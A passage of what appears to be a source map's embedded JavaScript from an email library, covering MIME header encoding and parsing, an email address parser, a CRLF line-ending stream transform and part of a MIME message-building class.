}\n ];\n }\n\n encodedStr = encodedStr.replace(new RegExp('.{' + maxLength + '}', 'g'), str => {\n list.push({\n line: str\n });\n return '';\n });\n\n if (encodedStr) {\n list.push({\n line: encodedStr\n });\n }\n } else {\n if (/[\\uD800-\\uDBFF]/.test(encodedStr)) {\n // string containts surrogate pairs, so normalize it to an array of bytes\n encodedStrArr = [];\n for (i = 0, len = encodedStr.length; i < len; i++) {\n chr = encodedStr.charAt(i);\n ord = chr.charCodeAt(0);\n if (ord >= 0xd800 && ord <= 0xdbff && i < len - 1) {\n chr += encodedStr.charAt(i + 1);\n encodedStrArr.push(chr);\n i++;\n } else {\n encodedStrArr.push(chr);\n }\n }\n encodedStr = encodedStrArr;\n }\n\n // first line includes the charset and language info and needs to be encoded\n // even if it does not contain any unicode characters\n line = 'utf-8\\x27\\x27';\n let encoded = true;\n startPos = 0;\n\n // process text with unicode or special chars\n for (i = 0, len = encodedStr.length; i < len; i++) {\n chr = encodedStr[i];\n\n if (encoded) {\n chr = this.safeEncodeURIComponent(chr);\n } else {\n // try to urlencode current char\n chr = chr === ' ' ? chr : this.safeEncodeURIComponent(chr);\n // By default it is not required to encode a line, the need\n // only appears when the string contains unicode or special chars\n // in this case we start processing the line over and encode all chars\n if (chr !== encodedStr[i]) {\n // Check if it is even possible to add the encoded char to the line\n // If not, there is no reason to use this line, just push it to the list\n // and start a new line with the char that needs encoding\n if ((this.safeEncodeURIComponent(line) + chr).length >= maxLength) {\n list.push({\n line,\n encoded\n });\n line = '';\n startPos = i - 1;\n } else {\n encoded = true;\n i = startPos;\n line = '';\n continue;\n }\n }\n }\n\n // if the line is already too long, push it to the list and start a new one\n if ((line + chr).length >= maxLength) {\n list.push({\n line,\n encoded\n });\n line = chr = encodedStr[i] === ' ' ? ' ' : this.safeEncodeURIComponent(encodedStr[i]);\n if (chr === encodedStr[i]) {\n encoded = false;\n startPos = i - 1;\n } else {\n encoded = true;\n }\n } else {\n line += chr;\n }\n }\n\n if (line) {\n list.push({\n line,\n encoded\n });\n }\n }\n\n return list.map((item, i) => ({\n // encoded lines: {name}*{part}*\n // unencoded lines: {name}*{part}\n // if any line needs to be encoded then the first line (part==0) is always encoded\n key: key + '*' + i + (item.encoded ? '*' : ''),\n value: item.line\n }));\n },\n\n /**\n * Parses a header value with key=value arguments into a structured\n * object.\n *\n * parseHeaderValue('content-type: text/plain; CHARSET='UTF-8'') ->\n * {\n * 'value': 'text/plain',\n * 'params': {\n * 'charset': 'UTF-8'\n * }\n * }\n *\n * @param {String} str Header value\n * @return {Object} Header value as a parsed structure\n */\n parseHeaderValue(str) {\n let response = {\n value: false,\n params: {}\n };\n let key = false;\n let value = '';\n let type = 'value';\n let quote = false;\n let escaped = false;\n let chr;\n\n for (let i = 0, len = str.length; i < len; i++) {\n chr = str.charAt(i);\n if (type === 'key') {\n if (chr === '=') {\n key = value.trim().toLowerCase();\n type = 'value';\n value = '';\n continue;\n }\n value += chr;\n } else {\n if (escaped) {\n value += chr;\n } else if (chr === '\\\\') {\n escaped = true;\n continue;\n } else if (quote && chr === quote) {\n quote = false;\n } else if (!quote && chr === '\"') {\n quote = chr;\n } else if (!quote && chr === ';') {\n if (key === false) {\n response.value = value.trim();\n } else {\n response.params[key] = value.trim();\n }\n type = 'key';\n value = '';\n } else {\n value += chr;\n }\n escaped = false;\n }\n }\n\n if (type === 'value') {\n if (key === false) {\n response.value = value.trim();\n } else {\n response.params[key] = value.trim();\n }\n } else if (value.trim()) {\n response.params[value.trim().toLowerCase()] = '';\n }\n\n // handle parameter value continuations\n // https://tools.ietf.org/html/rfc2231#section-3\n\n // preprocess values\n Object.keys(response.params).forEach(key => {\n let actualKey, nr, match, value;\n if ((match = key.match(/(\\*(\\d+)|\\*(\\d+)\\*|\\*)$/))) {\n actualKey = key.substr(0, match.index);\n nr = Number(match[2] || match[3]) || 0;\n\n if (!response.params[actualKey] || typeof response.params[actualKey] !== 'object') {\n response.params[actualKey] = {\n charset: false,\n values: []\n };\n }\n\n value = response.params[key];\n\n if (nr === 0 && match[0].substr(-1) === '*' && (match = value.match(/^([^']*)'[^']*'(.*)$/))) {\n response.params[actualKey].charset = match[1] || 'iso-8859-1';\n value = match[2];\n }\n\n response.params[actualKey].values[nr] = value;\n\n // remove the old reference\n delete response.params[key];\n }\n });\n\n // concatenate split rfc2231 strings and convert encoded strings to mime encoded words\n Object.keys(response.params).forEach(key => {\n let value;\n if (response.params[key] && Array.isArray(response.params[key].values)) {\n value = response.params[key].values.map(val => val || '').join('');\n\n if (response.params[key].charset) {\n // convert \"%AB\" to \"=?charset?Q?=AB?=\"\n response.params[key] =\n '=?' +\n response.params[key].charset +\n '?Q?' +\n value\n // fix invalidly encoded chars\n .replace(/[=?_\\s]/g, s => {\n let c = s.charCodeAt(0).toString(16);\n if (s === ' ') {\n return '_';\n } else {\n return '%' + (c.length < 2 ? '0' : '') + c;\n }\n })\n // change from urlencoding to percent encoding\n .replace(/%/g, '=') +\n '?=';\n } else {\n response.params[key] = value;\n }\n }\n });\n\n return response;\n },\n\n /**\n * Returns file extension for a content type string. If no suitable extensions\n * are found, 'bin' is used as the default extension\n *\n * @param {String} mimeType Content type to be checked for\n * @return {String} File extension\n */\n detectExtension: mimeType => mimeTypes.detectExtension(mimeType),\n\n /**\n * Returns content type for a file extension. If no suitable content types\n * are found, 'application/octet-stream' is used as the default content type\n *\n * @param {String} extension Extension to be checked for\n * @return {String} File extension\n */\n detectMimeType: extension => mimeTypes.detectMimeType(extension),\n\n /**\n * Folds long lines, useful for folding header lines (afterSpace=false) and\n * flowed text (afterSpace=true)\n *\n * @param {String} str String to be folded\n * @param {Number} [lineLength=76] Maximum length of a line\n * @param {Boolean} afterSpace If true, leave a space in th end of a line\n * @return {String} String with folded lines\n */\n foldLines(str, lineLength, afterSpace) {\n str = (str || '').toString();\n lineLength = lineLength || 76;\n\n let pos = 0,\n len = str.length,\n result = '',\n line,\n match;\n\n while (pos < len) {\n line = str.substr(pos, lineLength);\n if (line.length < lineLength) {\n result += line;\n break;\n }\n if ((match = line.match(/^[^\\n\\r]*(\\r?\\n|\\r)/))) {\n line = match[0];\n result += line;\n pos += line.length;\n continue;\n } else if ((match = line.match(/(\\s+)[^\\s]*$/)) && match[0].length - (afterSpace ? (match[1] || '').length : 0) < line.length) {\n line = line.substr(0, line.length - (match[0].length - (afterSpace ? (match[1] || '').length : 0)));\n } else if ((match = str.substr(pos + line.length).match(/^[^\\s]+(\\s*)/))) {\n line = line + match[0].substr(0, match[0].length - (!afterSpace ? (match[1] || '').length : 0));\n }\n\n result += line;\n pos += line.length;\n if (pos < len) {\n result += '\\r\\n';\n }\n }\n\n return result;\n },\n\n /**\n * Splits a mime encoded string. Needed for dividing mime words into smaller chunks\n *\n * @param {String} str Mime encoded string to be split up\n * @param {Number} maxlen Maximum length of characters for one part (minimum 12)\n * @return {Array} Split string\n */\n splitMimeEncodedString: (str, maxlen) => {\n let curLine,\n match,\n chr,\n done,\n lines = [];\n\n // require at least 12 symbols to fit possible 4 octet UTF-8 sequences\n maxlen = Math.max(maxlen || 0, 12);\n\n while (str.length) {\n curLine = str.substr(0, maxlen);\n\n // move incomplete escaped char back to main\n if ((match = curLine.match(/[=][0-9A-F]?$/i))) {\n curLine = curLine.substr(0, match.index);\n }\n\n done = false;\n while (!done) {\n done = true;\n // check if not middle of a unicode char sequence\n if ((match = str.substr(curLine.length).match(/^[=]([0-9A-F]{2})/i))) {\n chr = parseInt(match[1], 16);\n // invalid sequence, move one char back anc recheck\n if (chr < 0xc2 && chr > 0x7f) {\n curLine = curLine.substr(0, curLine.length - 3);\n done = false;\n }\n }\n }\n\n if (curLine.length) {\n lines.push(curLine);\n }\n str = str.substr(curLine.length);\n }\n\n return lines;\n },\n\n encodeURICharComponent: chr => {\n let res = '';\n let ord = chr.charCodeAt(0).toString(16).toUpperCase();\n\n if (ord.length % 2) {\n ord = '0' + ord;\n }\n\n if (ord.length > 2) {\n for (let i = 0, len = ord.length / 2; i < len; i++) {\n res += '%' + ord.substr(i, 2);\n }\n } else {\n res += '%' + ord;\n }\n\n return res;\n },\n\n safeEncodeURIComponent(str) {\n str = (str || '').toString();\n\n try {\n // might throw if we try to encode invalid sequences, eg. partial emoji\n str = encodeURIComponent(str);\n } catch (E) {\n // should never run\n return str.replace(/[^\\x00-\\x1F *'()<>@,;:\\\\\"[\\]?=\\u007F-\\uFFFF]+/g, '');\n }\n\n // ensure chars that are not handled by encodeURICompent are converted as well\n return str.replace(/[\\x00-\\x1F *'()<>@,;:\\\\\"[\\]?=\\u007F-\\uFFFF]/g, chr => this.encodeURICharComponent(chr));\n }\n};\n","'use strict';\n\n/**\n * Converts tokens for a single address into an address object\n *\n * @param {Array} tokens Tokens object\n * @return {Object} Address object\n */\nfunction _handleAddress(tokens) {\n let token;\n let isGroup = false;\n let state = 'text';\n let address;\n let addresses = [];\n let data = {\n address: [],\n comment: [],\n group: [],\n text: []\n };\n let i;\n let len;\n\n // Filter out <addresses>, (comments) and regular text\n for (i = 0, len = tokens.length; i < len; i++) {\n token = tokens[i];\n if (token.type === 'operator') {\n switch (token.value) {\n case '<':\n state = 'address';\n break;\n case '(':\n state = 'comment';\n break;\n case ':':\n state = 'group';\n isGroup = true;\n break;\n default:\n state = 'text';\n }\n } else if (token.value) {\n if (state === 'address') {\n // handle use case where unquoted name includes a \"<\"\n // Apple Mail truncates everything between an unexpected < and an address\n // and so will we\n token.value = token.value.replace(/^[^<]*<\\s*/, '');\n }\n data[state].push(token.value);\n }\n }\n\n // If there is no text but a comment, replace the two\n if (!data.text.length && data.comment.length) {\n data.text = data.comment;\n data.comment = [];\n }\n\n if (isGroup) {\n // http://tools.ietf.org/html/rfc2822#appendix-A.1.3\n data.text = data.text.join(' ');\n addresses.push({\n name: data.text || (address && address.name),\n group: data.group.length ? addressparser(data.group.join(',')) : []\n });\n } else {\n // If no address was found, try to detect one from regular text\n if (!data.address.length && data.text.length) {\n for (i = data.text.length - 1; i >= 0; i--) {\n if (data.text[i].match(/^[^@\\s]+@[^@\\s]+$/)) {\n data.address = data.text.splice(i, 1);\n break;\n }\n }\n\n let _regexHandler = function (address) {\n if (!data.address.length) {\n data.address = [address.trim()];\n return ' ';\n } else {\n return address;\n }\n };\n\n // still no address\n if (!data.address.length) {\n for (i = data.text.length - 1; i >= 0; i--) {\n // fixed the regex to parse email address correctly when email address has more than one @\n data.text[i] = data.text[i].replace(/\\s*\\b[^@\\s]+@[^\\s]+\\b\\s*/, _regexHandler).trim();\n if (data.address.length) {\n break;\n }\n }\n }\n }\n\n // If there's still is no text but a comment exixts, replace the two\n if (!data.text.length && data.comment.length) {\n data.text = data.comment;\n data.comment = [];\n }\n\n // Keep only the first address occurence, push others to regular text\n if (data.address.length > 1) {\n data.text = data.text.concat(data.address.splice(1));\n }\n\n // Join values with spaces\n data.text = data.text.join(' ');\n data.address = data.address.join(' ');\n\n if (!data.address && isGroup) {\n return [];\n } else {\n address = {\n address: data.address || data.text || '',\n name: data.text || data.address || ''\n };\n\n if (address.address === address.name) {\n if ((address.address || '').match(/@/)) {\n address.name = '';\n } else {\n address.address = '';\n }\n }\n\n addresses.push(address);\n }\n }\n\n return addresses;\n}\n\n/**\n * Creates a Tokenizer object for tokenizing address field strings\n *\n * @constructor\n * @param {String} str Address field string\n */\nclass Tokenizer {\n constructor(str) {\n this.str = (str || '').toString();\n this.operatorCurrent = '';\n this.operatorExpecting = '';\n this.node = null;\n this.escaped = false;\n\n this.list = [];\n /**\n * Operator tokens and which tokens are expected to end the sequence\n */\n this.operators = {\n '\"': '\"',\n '(': ')',\n '<': '>',\n ',': '',\n ':': ';',\n // Semicolons are not a legal delimiter per the RFC2822 grammar other\n // than for terminating a group, but they are also not valid for any\n // other use in this context. Given that some mail clients have\n // historically allowed the semicolon as a delimiter equivalent to the\n // comma in their UI, it makes sense to treat them the same as a comma\n // when used outside of a group.\n ';': ''\n };\n }\n\n /**\n * Tokenizes the original input string\n *\n * @return {Array} An array of operator|text tokens\n */\n tokenize() {\n let chr,\n list = [];\n for (let i = 0, len = this.str.length; i < len; i++) {\n chr = this.str.charAt(i);\n this.checkChar(chr);\n }\n\n this.list.forEach(node => {\n node.value = (node.value || '').toString().trim();\n if (node.value) {\n list.push(node);\n }\n });\n\n return list;\n }\n\n /**\n * Checks if a character is an operator or text and acts accordingly\n *\n * @param {String} chr Character from the address field\n */\n checkChar(chr) {\n if (this.escaped) {\n // ignore next condition blocks\n } else if (chr === this.operatorExpecting) {\n this.node = {\n type: 'operator',\n value: chr\n };\n this.list.push(this.node);\n this.node = null;\n this.operatorExpecting = '';\n this.escaped = false;\n return;\n } else if (!this.operatorExpecting && chr in this.operators) {\n this.node = {\n type: 'operator',\n value: chr\n };\n this.list.push(this.node);\n this.node = null;\n this.operatorExpecting = this.operators[chr];\n this.escaped = false;\n return;\n } else if (['\"', \"'\"].includes(this.operatorExpecting) && chr === '\\\\') {\n this.escaped = true;\n return;\n }\n\n if (!this.node) {\n this.node = {\n type: 'text',\n value: ''\n };\n this.list.push(this.node);\n }\n\n if (chr === '\\n') {\n // Convert newlines to spaces. Carriage return is ignored as \\r and \\n usually\n // go together anyway and there already is a WS for \\n. Lone \\r means something is fishy.\n chr = ' ';\n }\n\n if (chr.charCodeAt(0) >= 0x21 || [' ', '\\t'].includes(chr)) {\n // skip command bytes\n this.node.value += chr;\n }\n\n this.escaped = false;\n }\n}\n\n/**\n * Parses structured e-mail addresses from an address field\n *\n * Example:\n *\n * 'Name <address@domain>'\n *\n * will be converted to\n *\n * [{name: 'Name', address: 'address@domain'}]\n *\n * @param {String} str Address field\n * @return {Array} An array of address objects\n */\nfunction addressparser(str, options) {\n options = options || {};\n\n let tokenizer = new Tokenizer(str);\n let tokens = tokenizer.tokenize();\n\n let addresses = [];\n let address = [];\n let parsedAddresses = [];\n\n tokens.forEach(token => {\n if (token.type === 'operator' && (token.value === ',' || token.value === ';')) {\n if (address.length) {\n addresses.push(address);\n }\n address = [];\n } else {\n address.push(token);\n }\n });\n\n if (address.length) {\n addresses.push(address);\n }\n\n addresses.forEach(address => {\n address = _handleAddress(address);\n if (address.length) {\n parsedAddresses = parsedAddresses.concat(address);\n }\n });\n\n if (options.flatten) {\n let addresses = [];\n let walkAddressList = list => {\n list.forEach(address => {\n if (address.group) {\n return walkAddressList(address.group);\n } else {\n addresses.push(address);\n }\n });\n };\n walkAddressList(parsedAddresses);\n return addresses;\n }\n\n return parsedAddresses;\n}\n\n// expose to the world\nmodule.exports = addressparser;\n","'use strict';\n\nconst stream = require('stream');\nconst Transform = stream.Transform;\n\n/**\n * Ensures that only <CR><LF> sequences are used for linebreaks\n *\n * @param {Object} options Stream options\n */\nclass LeWindows extends Transform {\n constructor(options) {\n super(options);\n // init Transform\n this.options = options || {};\n this.lastByte = false;\n }\n\n /**\n * Escapes dots\n */\n _transform(chunk, encoding, done) {\n let buf;\n let lastPos = 0;\n\n for (let i = 0, len = chunk.length; i < len; i++) {\n if (chunk[i] === 0x0a) {\n // \\n\n if ((i && chunk[i - 1] !== 0x0d) || (!i && this.lastByte !== 0x0d)) {\n if (i > lastPos) {\n buf = chunk.slice(lastPos, i);\n this.push(buf);\n }\n this.push(Buffer.from('\\r\\n'));\n lastPos = i + 1;\n }\n }\n }\n\n if (lastPos && lastPos < chunk.length) {\n buf = chunk.slice(lastPos);\n this.push(buf);\n } else if (!lastPos) {\n this.push(chunk);\n }\n\n this.lastByte = chunk[chunk.length - 1];\n done();\n }\n}\n\nmodule.exports = LeWindows;\n","/* eslint no-undefined: 0, prefer-spread: 0, no-control-regex: 0 */\n\n'use strict';\n\nconst crypto = require('crypto');\nconst fs = require('fs');\nconst punycode = require('../punycode');\nconst PassThrough = require('stream').PassThrough;\nconst shared = require('../shared');\n\nconst mimeFuncs = require('../mime-funcs');\nconst qp = require('../qp');\nconst base64 = require('../base64');\nconst addressparser = require('../addressparser');\nconst nmfetch = require('../fetch');\nconst LastNewline = require('./last-newline');\n\nconst LeWindows = require('./le-windows');\nconst LeUnix = require('./le-unix');\n\n/**\n * Creates a new mime tree node. Assumes 'multipart/*' as the content type\n * if it is a branch, anything else counts as leaf. If rootNode is missing from\n * the options, assumes this is the root.\n *\n * @param {String} contentType Define the content type for the node. Can be left blank for attachments (derived from filename)\n * @param {Object} [options] optional options\n * @param {Object} [options.rootNode] root node for this tree\n * @param {Object} [options.parentNode] immediate parent for this node\n * @param {Object} [options.filename] filename for an attachment node\n * @param {String} [options.baseBoundary] shared part of the unique multipart boundary\n * @param {Boolean} [options.keepBcc] If true, do not exclude Bcc from the generated headers\n * @param {Function} [options.normalizeHeaderKey] method to normalize header keys for custom caseing\n * @param {String} [options.textEncoding] either 'Q' (the default) or 'B'\n */\nclass MimeNode {\n constructor(contentType, options) {\n this.nodeCounter = 0;\n\n options = options || {};\n\n /**\n * shared part of the unique multipart boundary\n */\n this.baseBoundary = options.baseBoundary || crypto.randomBytes(8).toString('hex');\n this.boundaryPrefix = options.boundaryPrefix || '--_NmP';\n\n this.disableFileAccess = !!options.disableFileAccess;\n this.disableUrlAccess = !!options.disableUrlAccess;\n\n this.normalizeHeaderKey = options.normalizeHeaderKey;\n\n /**\n * If date headers is missing and current node is the root, this value is used instead\n */\n this.date = new Date();\n\n /**\n * Root node for current mime tree\n */\n this.rootNode = options.rootNode || this;\n\n /**\n * If true include Bcc in generated headers (if available)\n */\n this.keepBcc = !!options.keepBcc;\n\n /**\n * If filename is specified but contentType is not (probably an attachment)\n * detect the content type from filename extension\n */\n if (options.filename) {\n /**\n * Filename for this node. Useful with attachments\n */\n this.filename = options.filename;\n if (!contentType) {\n contentType = mimeFuncs.detectMimeType(this.filename.split('.').pop());\n }\n }\n\n /**\n * Indicates which encoding should be used for header strings: \"Q\" or \"B\"\n */\n this.textEncoding = (options.textEncoding || '').toString().trim().charAt(0).toUpperCase();\n\n /**\n * Immediate parent for this node (or undefined if not set)\n */\n this.parentNode = options.parentNode;\n\n /**\n * Hostname for default message-id values\n */\n this.hostname = options.hostname;\n\n /**\n * If set to 'win' then uses \\r\\n, if 'linux' then \\n. If not set (or `raw` is used) then newlines are kept as is.\n */\n this.newline = options.newline;\n\n /**\n * An array for possible child nodes\n */\n this.childNodes = [];\n\n /**\n * Used for generating unique boundaries (prepended to the shared base)\n */\n this._nodeId = ++this.rootNode.nodeCounter;\n\n /**\n * A list of header values for this node in the form of [{key:'', value:''}]\n */\n this._headers = [];\n\n /**\n * True if the content only uses ASCII printable characters\n * @type {Boolean}\n */\n this._isPlainText = false;\n\n /**\n * True if the content is plain text but has longer lines than allowed\n * @type {Boolean}\n */\n this._hasLongLines = false;\n\n /**\n * If set, use instead this value for envelopes instead of generating one\n * @type {Boolean}\n */\n this._envelope = false;\n\n /**\n * If set then use this value as the stream content instead of building it\n * @type {String|Buffer|Stream}\n */\n this._raw = false;\n\n /**\n * Additional transform streams that the message will be piped before\n * exposing by createReadStream\n * @type {Array}\n */\n this._transforms = [];\n\n /**\n * Additional process functions that the message will be piped through before\n * exposing by createReadStream. These functions are run after transforms\n * @type {Array}\n */\n this._processFuncs = [];\n\n /**\n * If content type is set (or derived from the filename) add it to headers\n */\n if (contentType) {\n this.setHeader('Content-Type', contentType);\n }\n }\n\n /////// PUBLIC METHODS\n\n /**\n * Creates and appends a child node.Arguments provided are passed to MimeNode constructor\n *\n * @param {String} [contentType] Optional content type\n * @param {Object} [options] Optional options object\n * @return {Object} Created node object\n */\n createChild(contentType, options) {\n if (!options && typeof contentType === 'object') {\n options = contentType;\n contentType = undefined;\n }\n let node = new MimeNode(contentType, options);\n this.appendChild(node);\n return node;\n }\n\n /**\n * Appends an existing node to the mime tree. Removes the node from an existing\n * tree if needed\n *\n * @param {Object} childNode node to be appended\n * @return {Object} Appended node object\n */\n appendChild(childNode) {\n if (childNode.rootNode !== this.rootNode) {\n childNode.rootNode = this.rootNode;\n childNode._nodeId = ++this.rootNode.nodeCounter;\n }\n\n childNode.parentNode = this;\n\n this.childNodes.push(childNode);\n return childNode;\n }\n\n /**\n * Replaces current node with another node\n *\n * @param {Object} node Replacement node\n * @return {Object} Replacement node\n */\n replace(node) {\n if (node === this) {\n return this;\n }\n\n this.parentNode.childNodes.forEach((childNode, i) => {\n if (childNode === this) {\n node.rootNode = this.rootNode;\n node.parentNode = this.parentNode;\n node._nodeId = this._nodeId;\n\n this.rootNode = this;\n this.parentNode = undefined;\n\n node.parentNode.childNodes[i] = node;\n }\n });\n\n return node;\n }\n\n /**\n * Removes current node from the mime tree\n *\n * @return {Object} removed node\n */\n remove() {\n if (!this.parentNode) {\n return this;\n }\n\n for (let i = this.parentNode.childNodes.length - 1; i >= 0; i--) {\n if (this.parentNode.childNodes[i] === this) {\n this.parentNode.childNodes.splice(i, 1);\n this.parentNode = undefined;\n this.rootNode = this;\n return this;\n }\n }\n }\n\n /**\n * Sets a header value. If the value for selected key exists, it is overwritten.\n * You can set multiple values as well by using [{key:'', value:''}] or\n * {key: 'value'} as the first argument.\n *\n * @param {String|Array|Object} key Header key or a list of key value pairs\n * @param {String} value Header value\n * @return {Object} current node\n */\n setHeader(key, value) {\n let added = false,\n headerValue;\n\n // Allow setting multiple headers at once\n if (!value && key && typeof key === 'object') {\n // allow {key:'content-type', value: 'text/plain'}\n if (key.key && 'value' in key) {\n this.setHeader(key.key, key.value);\n } else if (Array.isArray(key)) {\n // allow [{key:'content-type', value: 'text/plain'}]\n key.forEach(i => {\n this.setHeader(i.key, i.value);\n });\n } else {\n // allow {'content-type': 'text/plain'}\n Object.keys(key).forEach(i => {\n this.setHeader(i, key[i]);\n });\n }\n return this;\n }\n\n key = this._normalizeHeaderKey(key);\n\n headerValue = {\n key,\n value\n };\n\n // Check if the value exists and overwrite\n for (let i = 0, len = this._headers.length; i < len; i++) {\n if (this._headers[i].key === key) {\n if (!added) {\n // replace the first match\n this._headers[i] = headerValue;\n added = true;\n } else {\n // remove following matches\n this._headers.splice(i, 1);\n i--;\n len--;\n }\n }\n }\n\n // match not found, append the value\n if (!added) {\n this._headers.push(headerValue);\n }\n\n return this;\n }\n\n /**\n * Adds a header value. If the value for selected key exists, the value is appended\n * as a new field and old one is not touched.\n * You can set multiple values as well by using [{key:'', value:''}] or\n * {key: 'value'} as the first argument.\n *\n * @param {String|Array|Object} key Header key or a list of key value pairs\n * @param {String} value Header value\n * @return {Object} current node\n */\n addHeader(key, value) {\n // Allow setting multiple headers at once\n if (!value && key && typeof key === 'object') {\n // allow {key:'content-type', value: 'text/plain'}\n if (key.key && key.value) {\n this.addHeader(key.key, key.value);\n } else if (Array.isArray(key)) {\n // allow [{key:'content-type', value: 'text/plain'}]\n key.forEach(i => {\n this.addHeader(i.key, i.value);\n });\n } else {\n // allow {'content-type': 'text/plain'}\n Object.keys(key).forEach(i => {\n this.addHeader(i, key[i]);\n });\n }\n return this;\n } else if (Array.isArray(value)) {\n value.forEach(val => {\n this.addHeader(key, val);\n });\n return this;\n }\n\n this._headers.push({\n key: this._normalizeHeaderKey(key),\n value\n });\n\n return this;\n }\n\n /**\n * Retrieves the first mathcing value of a selected key\n *\n * @param {String} key Key to search for\n * @retun {String} Value for the key\n */\n getHeader(key) {\n key = this._normalizeHeaderKey(key);\n for (let i = 0, len = this._headers.length; i < len; i++) {\n if (this._headers[i].key === key) {\n return this._headers[i].value;\n }\n }\n }\n\n /**\n * Sets body content for current node. If the value is a string, charset is added automatically\n * to Content-Type (if it is text/*). If the value is a Buffer, you need to specify\n * the charset yourself\n *\n * @param (String|Buffer) content Body content\n * @return {Object} current node\n */\n setContent(content) {\n this.content = content;\n if (typeof this.content.pipe === 'function') {\n // pre-stream handler. might be triggered if a stream is set as content\n // and 'error' fires before anything is done with this stream\n this._contentErrorHandler = err => {\n this.content.removeListener('error', this._contentErrorHandler);\n this.content = err;\n };\n this.content.once('error', this._contentErrorHandler);\n } else if (typeof this.content === 'string') {\n this._isPlainText = mimeFuncs.isPlainText(this.content);\n if (this._isPlainText && mimeFuncs.hasLongerLines(this.content, 76)) {\n // If there are lines longer than 76 symbols/bytes do not use 7bit\n this._hasLongLines = true;\n }\n }\n return this;\n }\n\n build(callback) {\n let promise;\n\n if (!callback) {\n promise = new Promise((resolve, reject) => {\n callback = shared.callbackPromise(resolve, reject);\n });\n }\n\n let stream = this.createReadStream();\n let buf = [];\n let buflen = 0;\n let returned = false;\n\n stream.on('readable', () => {\n let chunk;\n\n while ((chunk = stream.read()) !== null) {\n buf.push(chunk);\n buflen += chunk.length;\n }\n });\n\n stream.once('error', err => {\n if (returned) {\n return;\n }\n returned = true;\n\n return callback(err);\n });\n\n stream.once('end', chunk => {\n if (returned) {\n return;\n }\n returned = true;\n\n if (chunk && chunk.length) {\n buf.push(chunk);\n buflen += chunk.length;\n }\n return callback(null, Buffer.concat(buf, buflen));\n });\n\n return promise;\n }\n\n getTransferEncoding() {\n let transferEncoding = false;\n let contentType = (this.getHeader('Content-Type') || '').toString().toLowerCase().trim();\n\n if (this.content) {\n transferEncoding = (this.getHeader('Content-Transfer-Encoding') || '').toString().toLowerCase().trim();\n if (!transferEncoding || !['base64', 'quoted-printable'].includes(transferEncoding)) {\n if (/^text\\//i.test(contentType)) {\n // If there are no special symbols, no need to modify the text\n if (this._isPlainText && !this._hasLongLines) {\n transferEncoding = '7bit';\n } else if (typeof this.content === 'string' || this.content instanceof Buffer) {\n // detect preferred encoding for string value\n transferEncoding = this._getTextEncoding(this.content) === 'Q' ? 'quoted-printable' : 'base64';\n } else {\n // we can not check content for a stream, so either use preferred encoding or fallback to QP\n transferEncoding = this.textEncoding === 'B' ? 'base64' : 'quoted-printable';\n }\n } else if (!/^(multipart|message)\\//i.test(contentType)) {\n transferEncoding = transferEncoding || 'base64';\n }\n }\n }\n return transferEncoding;\n }\n\n /**\n * Builds the header block for the mime node. Append \\r\\n\\r\\n before writing the content\n *\n * @returns {String} Headers\n */\n buildHeaders() {\n let transferEncoding = this.getTransferEncoding();\n let headers = [];\n\n if (transferEncoding) {\n this.setHeader('Content-Transfer-Encoding', transferEncoding);\n }\n\n if (this.filename && !this.getHeader('Content-Disposition')) {\n this.setHeader('Content-Disposition', 'attachment');\n }\n\n // Ensure mandatory header fields\n if (this.rootNode === this) {\n if (!this.getHeader('Date')) {\n this.setHeader('Date', this.date.toUTCString().replace(/GMT/, '+0000'));\n }\n\n // ensure that Message-Id is present\n this.messageId();\n\n if (!this.getHeader('MIME-Version')) {\n this.setHeader('MIME-Version', '1.0');\n }\n\n // Ensure that Content-Type is the last header for the root node\n for (let i = this._headers.length - 2; i >= 0; i--) {\n let header = this._headers[i];\n if (header.key === 'Content-Type') {\n this._headers.splice(i, 1);\n this._headers.push(header);\n }\n }\n }\n\n this._headers.forEach(header => {\n let key = header.key;\n let value = header.value;\n let structured;\n let param;\n let options = {};\n let formattedHeaders = ['From', 'Sender', 'To', 'Cc', 'Bcc', 'Reply-To', 'Date', 'References'];\n\n if (value && typeof value === 'object' && !formattedHeaders.includes(key)) {\n Object.keys(value).forEach(key => {\n if (key !== 'value') {\n options[key] = value[key];\n }\n });\n value = (value.value || '').toString();\n if (!value.trim()) {\n return;\n }\n }\n\n if (options.prepared) {\n // header value is\n if (options.foldLines) {\n headers.push(mimeFuncs.foldLines(key + ': ' + value));\n } else {\n headers.push(key + ': ' + value);\n }\n return;\n }\n\n switch (header.key) {\n case 'Content-Disposition':\n structured = mimeFuncs.parseHeaderValue(value);\n if (this.filename) {\n structured.params.filename = this.filename;\n }\n value = mimeFuncs.buildHeaderValue(structured);\n break;\n\n case 'Content-Type':\n structured = mimeFuncs.parseHeaderValue(value);\n\n this._handleContentType(structured);\n\n if (structured.value.match(/^text\\/plain\\b/) && typeof this.content === 'string' && /[\\u0080-\\uFFFF]/.test(this.content)) {\n structured.params.charset = 'utf-8';\n }\n\n value = mimeFuncs.buildHeaderValue(structured);\n\n if (this.filename) {\n // add support for non-compliant clients like QQ webmail\n // we can't build the value with buildHeaderValue as the value is non standard and\n // would be converted to parameter continuation encoding that we do not want\n param = this._encodeWords(this.filename);\n\n if (param !== this.filename || /[\\s'\"\\\\;:/=(),<>@[\\]?]|^-/.test(param)) {\n // include value in quotes if needed\n param = '\"' + param + '\"';\n }\n value += '; name=' + param;\n }\n break;\n\n case 'Bcc':\n if (!this.keepBcc) {\n // skip BCC values\n return;\n }\n break;\n }\n\n value = this._encodeHeaderValue(key, value);\n\n // skip empty lines\n if (!(value || '').toString().trim()) {\n return;\n }\n\n if (typeof this.normalizeHeaderKey === 'function') {\n let normalized = this.normalizeHeaderKey(key, value);\n if (normalized && typeof normalized === 'string' && normalized.length) {\n key = normalized;\n }\n }\n\n headers.push(mimeFuncs.foldLines(key + ': ' + value, 76));\n });\n\n return headers.join('\\r\\n');\n }\n\n /**\n * Streams the rfc2822 message from the current node. If this is a root node,\n * mandatory header fields are set if missing (Date, Message-Id, MIME-Version)\n *\n * @return {String} Compiled message\n */\n createReadStream(options) {\n options = options || {};\n\n let stream = new PassThrough(options);\n let outputStream = stream;\n let transform;\n\n this.stream(stream, options, err => {\n if (err) {\n outputStream.emit('error', err);\n return;\n }\n stream.end();\n });\n\n for (let i = 0, len = this._transforms.length; i < len; i++) {\n transform = typeof this._transforms[i] === 'function' ? this._transforms[i]() : this._transforms[i];\n outputStream.once('error', err => {\n transform.emit('error', err);\n });\n outputStream = outputStream.pipe(transform);\n }\n\n // ensure terminating newline after possible user transforms\n transform = new LastNewline();\n outputStream.once('error', err => {\n transform.emit('error', err);\n });\n outputStream = outputStream.pipe(transform);\n\n // dkim and stuff\n for (let i = 0, len = this._processFuncs.length; i < len; i++) {\n transform = this._processFuncs[i];\n outputStream = 